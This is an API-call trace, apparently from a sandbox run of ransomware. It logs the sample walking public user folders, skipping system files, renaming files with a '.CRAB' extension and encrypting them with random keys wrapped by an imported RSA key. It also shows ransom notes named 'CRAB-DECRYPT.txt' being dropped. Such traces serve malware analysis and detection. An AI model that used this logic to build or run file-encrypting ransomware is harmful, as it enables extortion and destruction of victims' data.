	[0136.990] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0136.990] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0136.990] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Public\\Libraries\\CRAB-DECRYPT.txt") returned="C:\\Users\\Public\\Libraries\\CRAB-DECRYPT.txt"
	[0136.990] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.991] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Libraries\\CRAB-DECRYPT.txt") returned 42
	[0136.991] lstrlenW (lpString="C:\\Users\\Public\\Libraries\\CRAB-DECRYPT.txt") returned 42
	[0136.991] lstrlenW (lpString=".txt") returned 4
	[0136.991] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.991] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0136.991] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.991] lstrlenW (lpString="C:\\Users\\Public\\Libraries\\CRAB-DECRYPT.txt") returned 42
	[0136.991] lstrlenW (lpString="C:\\Users\\Public\\Libraries\\CRAB-DECRYPT.txt") returned 42
	[0136.991] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0136.991] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0136.991] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0136.991] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0136.991] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0136.991] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0136.992] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0136.992] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0136.992] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0136.992] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.992] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.992] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0136.992] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0136.992] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\Public\\Libraries\\desktop.ini") returned="C:\\Users\\Public\\Libraries\\desktop.ini"
	[0136.992] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.992] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Libraries\\desktop.ini") returned 37
	[0136.992] lstrlenW (lpString="C:\\Users\\Public\\Libraries\\desktop.ini") returned 37
	[0136.992] lstrlenW (lpString=".ini") returned 4
	[0136.992] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.993] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0136.993] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.993] lstrlenW (lpString="C:\\Users\\Public\\Libraries\\desktop.ini") returned 37
	[0136.993] lstrlenW (lpString="C:\\Users\\Public\\Libraries\\desktop.ini") returned 37
	[0136.993] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0136.993] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.993] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.993] lstrcmpW (lpString1="RecordedTV.library-ms", lpString2=".") returned 1
	[0136.993] lstrcmpW (lpString1="RecordedTV.library-ms", lpString2="..") returned 1
	[0136.993] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries\\", lpString2="RecordedTV.library-ms" | out: lpString1="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms"
	[0136.993] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.994] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned 47
	[0136.994] lstrlenW (lpString="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned 47
	[0136.994] lstrlenW (lpString=".library-ms") returned 11
	[0136.994] VirtualAlloc (lpAddress=0x0, dwSize=0x1a, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.994] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".library-ms ") returned 12
	[0136.994] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.994] lstrlenW (lpString="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned 47
	[0136.994] lstrlenW (lpString="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned 47
	[0136.994] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="desktop.ini") returned 1
	[0136.994] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="autorun.inf") returned 1
	[0136.994] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="ntuser.dat") returned 1
	[0136.994] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="iconcache.db") returned 1
	[0136.994] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="bootsect.bak") returned 1
	[0136.994] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="boot.ini") returned 1
	[0136.994] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="ntuser.dat.log") returned 1
	[0136.994] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="thumbs.db") returned -1
	[0136.995] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="CRAB-DECRYPT.txt") returned 1
	[0136.995] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.995] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.CRAB") returned 52
	[0136.995] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms")) returned 0x20
	[0136.995] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", dwFileAttributes=0x20) returned 1
	[0136.996] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), lpNewFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.CRAB" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.crab")) returned 1
	[0136.996] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0136.997] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.CRAB" | out: lpString1="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.CRAB") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.CRAB"
	[0136.997] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.CRAB.CRAB") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.CRAB.CRAB"
	[0136.997] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0136.998] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0136.998] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0136.998] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0136.998] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0136.998] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0136.999] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.999] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0137.000] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0137.000] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0137.000] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0137.001] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0137.001] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0137.001] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.001] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0137.001] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0137.001] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0137.003] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3247f70) returned 1
	[0137.003] CryptGetKeyParam (in: hKey=0x3247f70, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0137.003] CryptEncrypt (in: hKey=0x3247f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0137.003] GetLastError () returned 0x0
	[0137.003] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0137.003] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e5a0) returned 1
	[0137.004] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x32483b0) returned 1
	[0137.004] CryptGetKeyParam (in: hKey=0x32483b0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0137.004] CryptEncrypt (in: hKey=0x32483b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0137.005] GetLastError () returned 0x0
	[0137.005] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0137.005] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.CRAB" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0137.005] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0137.005] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0137.006] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x3e7, lpOverlapped=0x0) returned 1
	[0137.017] VirtualAlloc (lpAddress=0x0, dwSize=0x3f0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0137.017] VirtualAlloc (lpAddress=0x0, dwSize=0x3f0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0137.018] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.018] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffc19, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.018] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x3f0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x3f0, lpOverlapped=0x0) returned 1
	[0137.018] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.018] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.021] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0137.021] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0137.021] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0137.021] CloseHandle (hObject=0x3e8) returned 1
	[0137.021] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.021] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.021] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.021] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.022] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.022] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.022] FindNextFileW (in: hFindFile=0x3248470, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0137.022] FindClose (in: hFindFile=0x3248470 | out: hFindFile=0x3248470) returned 1
	[0137.022] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0137.022] lstrcmpW (lpString1="Music", lpString2=".") returned 1
	[0137.022] lstrcmpW (lpString1="Music", lpString2="..") returned 1
	[0137.022] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music"
	[0137.022] lstrcatW (in: lpString1="C:\\Users\\Public\\Music", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\"
	[0137.022] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0137.022] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0137.022] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0137.022] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0137.022] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0137.022] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.023] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0137.023] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0137.023] lstrcmpiW (lpString1="C:\\Users\\Public\\Music\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0137.023] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0137.023] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0137.023] lstrcmpiW (lpString1="C:\\Users\\Public\\Music\\", lpString2="C:\\Users\\Public\\Desktop\\") returned 1
	[0137.023] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0137.023] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Public\\Music\\\\CRAB-DECRYPT.txt") returned 39
	[0137.023] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\public\\music\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0137.023] GetLastError () returned 0x50
	[0137.023] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.023] lstrlenW (lpString="C:\\Users\\Public\\Music\\") returned 22
	[0137.023] lstrcatW (in: lpString1="C:\\Users\\Public\\Music\\", lpString2="*" | out: lpString1="C:\\Users\\Public\\Music\\*") returned="C:\\Users\\Public\\Music\\*"
	[0137.023] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x3248270
	[0137.024] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0137.024] FindNextFileW (in: hFindFile=0x3248270, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0137.024] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0137.024] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0137.024] FindNextFileW (in: hFindFile=0x3248270, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0137.024] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0137.024] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0137.024] lstrcatW (in: lpString1="C:\\Users\\Public\\Music\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Public\\Music\\CRAB-DECRYPT.txt") returned="C:\\Users\\Public\\Music\\CRAB-DECRYPT.txt"
	[0137.024] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0137.024] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Music\\CRAB-DECRYPT.txt") returned 38
	[0137.024] lstrlenW (lpString="C:\\Users\\Public\\Music\\CRAB-DECRYPT.txt") returned 38
	[0137.024] lstrlenW (lpString=".txt") returned 4
	[0137.024] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0137.024] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0137.024] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.024] lstrlenW (lpString="C:\\Users\\Public\\Music\\CRAB-DECRYPT.txt") returned 38
	[0137.024] lstrlenW (lpString="C:\\Users\\Public\\Music\\CRAB-DECRYPT.txt") returned 38
	[0137.024] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0137.024] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0137.024] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0137.024] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0137.024] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0137.024] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0137.024] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0137.025] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0137.025] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0137.025] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.025] FindNextFileW (in: hFindFile=0x3248270, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0137.025] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0137.025] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0137.025] lstrcatW (in: lpString1="C:\\Users\\Public\\Music\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\Public\\Music\\desktop.ini") returned="C:\\Users\\Public\\Music\\desktop.ini"
	[0137.025] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0137.025] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Public\\Music\\desktop.ini") returned 33
	[0137.025] lstrlenW (lpString="C:\\Users\\Public\\Music\\desktop.ini") returned 33
	[0137.025] lstrlenW (lpString=".ini") returned 4
	[0137.025] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0137.025] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0137.025] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.025] lstrlenW (lpString="C:\\Users\\Public\\Music\\desktop.ini") returned 33
	[0137.025] lstrlenW (lpString="C:\\Users\\Public\\Music\\desktop.ini") returned 33
	[0137.025] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0137.025] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.026] FindNextFileW (in: hFindFile=0x3248270, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0137.026] FindClose (in: hFindFile=0x3248270 | out: hFindFile=0x3248270) returned 1
	[0137.026] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0137.026] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1
	[0137.026] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1
	[0137.026] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures"
	[0137.026] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\"
	[0137.026] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0137.026] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0137.026] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0137.026] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0137.026] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0137.026] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.026] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0137.026] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0137.026] lstrcmpiW (lpString1="C:\\Users\\Public\\Pictures\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0137.026] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0137.026] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0137.026] lstrcmpiW (lpString1="C:\\Users\\Public\\Pictures\\", lpString2="C:\\Users\\Public\\Desktop\\") returned 1
	[0137.026] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0137.027] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Public\\Pictures\\\\CRAB-DECRYPT.txt") returned 42
	[0137.027] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\public\\pictures\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0137.027] GetLastError () returned 0x50
	[0137.027] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.027] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\") returned 25
	[0137.027] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures\\", lpString2="*" | out: lpString1="C:\\Users\\Public\\Pictures\\*") returned="C:\\Users\\Public\\Pictures\\*"
	[0137.027] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x32480b0
	[0137.027] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0137.027] FindNextFileW (in: hFindFile=0x32480b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0137.027] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0137.027] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0137.027] FindNextFileW (in: hFindFile=0x32480b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0137.027] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0137.027] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
